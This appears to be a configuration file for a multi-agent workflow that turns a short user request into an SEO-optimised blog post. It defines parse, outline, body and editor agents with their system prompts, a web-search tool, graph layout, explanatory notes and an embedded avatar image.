+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:EagerNailsRemain"
+ ]
+ },
+ "Message:LegalBeansBet": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:LovelyHeadsOwn@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:LovelyHeadsOwn"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:ClearRabbitsScream"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:ClearRabbitsScreamend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:ClearRabbitsScream",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:ClearRabbitsScreamstart-Agent:BetterSitesSendend",
+ "source": "Agent:ClearRabbitsScream",
+ "sourceHandle": "start",
+ "target": "Agent:BetterSitesSend",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:BetterSitesSendtool-Tool:SharpPensBurnend",
+ "source": "Agent:BetterSitesSend",
+ "sourceHandle": "tool",
+ "target": "Tool:SharpPensBurn",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:BetterSitesSendstart-Agent:EagerNailsRemainend",
+ "source": "Agent:BetterSitesSend",
+ "sourceHandle": "start",
+ "target": "Agent:EagerNailsRemain",
+ "targetHandle": "end"
+ },
+ {
+ "id": "xy-edge__Agent:EagerNailsRemaintool-Tool:WickedDeerHealend",
+ "source": "Agent:EagerNailsRemain",
+ "sourceHandle": "tool",
+ "target": "Tool:WickedDeerHeal",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:EagerNailsRemainstart-Agent:LovelyHeadsOwnend",
+ "source": "Agent:EagerNailsRemain",
+ "sourceHandle": "start",
+ "target": "Agent:LovelyHeadsOwn",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:LovelyHeadsOwnstart-Message:LegalBeansBetend",
+ "source": "Agent:LovelyHeadsOwn",
+ "sourceHandle": "start",
+ "target": "Message:LegalBeansBet",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Parse And Keyword Agent"
+ },
+ "dragging": false,
+ "id": "Agent:ClearRabbitsScream",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 344.7766966202233,
+ "y": 234.82202253184496
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Outline Agent"
+ },
+ "dragging": false,
+ "id": "Agent:BetterSitesSend",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 613.4368763415628,
+ "y": 164.3074269048589
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:SharpPensBurn",
+ "measured": {
+ "height": 44,
+ "width": 200
+ },
+ "position": {
+ "x": 580.1877078861457,
+ "y": 287.7669662022325
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Body Agent"
+ },
+ "dragging": false,
+ "id": "Agent:EagerNailsRemain",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 889.0614605692713,
+ "y": 247.00973041799065
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_1"
+ },
+ "dragging": false,
+ "id": "Tool:WickedDeerHeal",
+ "measured": {
+ "height": 44,
+ "width": 200
+ },
+ "position": {
+ "x": 853.2006404239659,
+ "y": 364.37541577229143
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Editor Agent"
+ },
+ "dragging": false,
+ "id": "Agent:LovelyHeadsOwn",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 1160.3332919804993,
+ "y": 149.50806732882472
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:LovelyHeadsOwn@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:LegalBeansBet",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1370.6665839609984,
+ "y": 267.0323933738015
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don\u2019t need any writing experience. Just provide a topic or short request \u2014 the system will handle the rest.\n\nThe process includes the following key stages:\n\n1. **Understanding your topic and goals**\n2. **Designing the blog structure**\n3. **Writing high-quality content**\n\n\n"
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 205,
+ "id": "Note:SlimyGhostsWear",
+ "measured": {
+ "height": 205,
+ "width": 415
+ },
+ "position": {
+ "x": -284.3143151688742,
+ "y": 150.47632147913419
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 415
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent reads the user\u2019s input and figures out what kind of blog needs to be written.\n\n**What it does**:\n- Understands the main topic you want to write about \n- Identifies who the blog is for (e.g., beginners, marketers, developers) \n- Determines the writing purpose (e.g., SEO traffic, product promotion, education) \n- Suggests 3\u20135 long-tail SEO keywords related to the topic"
+ },
+ "label": "Note",
+ "name": "Parse And Keyword Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 152,
+ "id": "Note:EmptyChairsShake",
+ "measured": {
+ "height": 152,
+ "width": 340
+ },
+ "position": {
+ "x": 295.04147626768133,
+ "y": 372.2755718118446
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 340
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent builds the blog structure \u2014 just like writing a table of contents before you start writing the full article.\n\n**What it does**:\n- Suggests a clear blog title that includes important keywords \n- Breaks the article into sections using H2 and H3 headings (like a professional blog layout) \n- Assigns 1\u20132 recommended keywords to each section to help with SEO \n- Follows the writing goal and target audience set in the previous step"
+ },
+ "label": "Note",
+ "name": "Outline Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 146,
+ "id": "Note:TallMelonsNotice",
+ "measured": {
+ "height": 146,
+ "width": 343
+ },
+ "position": {
+ "x": 598.5644991893463,
+ "y": 5.801054564756448
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 343
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent is responsible for writing the actual content of the blog \u2014 paragraph by paragraph \u2014 based on the outline created earlier.\n\n**What it does**:\n- Looks at each H2/H3 section in the outline \n- Writes 150\u2013220 words of clear, helpful, and well-structured content per section \n- Includes the suggested SEO keywords naturally (not keyword stuffing) \n- Uses real examples or facts if needed (by calling a web search tool like Tavily)"
+ },
+ "label": "Note",
+ "name": "Body Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 137,
+ "id": "Note:RipeCougarsBuild",
+ "measured": {
+ "height": 137,
+ "width": 319
+ },
+ "position": {
+ "x": 860.4854129814981,
+ "y": 427.2196835690842
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 319
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent reviews the entire blog draft to make sure it is smooth, professional, and SEO-friendly. It acts like a human editor before publishing.\n\n**What it does**:\n- Polishes the writing: improves sentence clarity, fixes awkward phrasing \n- Makes sure the content flows well from one section to the next \n- Double-checks keyword usage: are they present, natural, and not overused? \n- Verifies the blog structure (H1, H2, H3 headings) is correct \n- Adds two key SEO elements:\n - **Meta Title** (shows up in search results)\n - **Meta Description** (summary for Google and social sharing)"
+ },
+ "label": "Note",
+ "name": "Editor Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "height": 146,
+ "id": "Note:OpenTurkeysSell",
+ "measured": {
+ "height": 146,
+ "width": 320
+ },
+ "position": {
+ "x": 1129,
+ "y": -30
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 320
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/jpeg;base64,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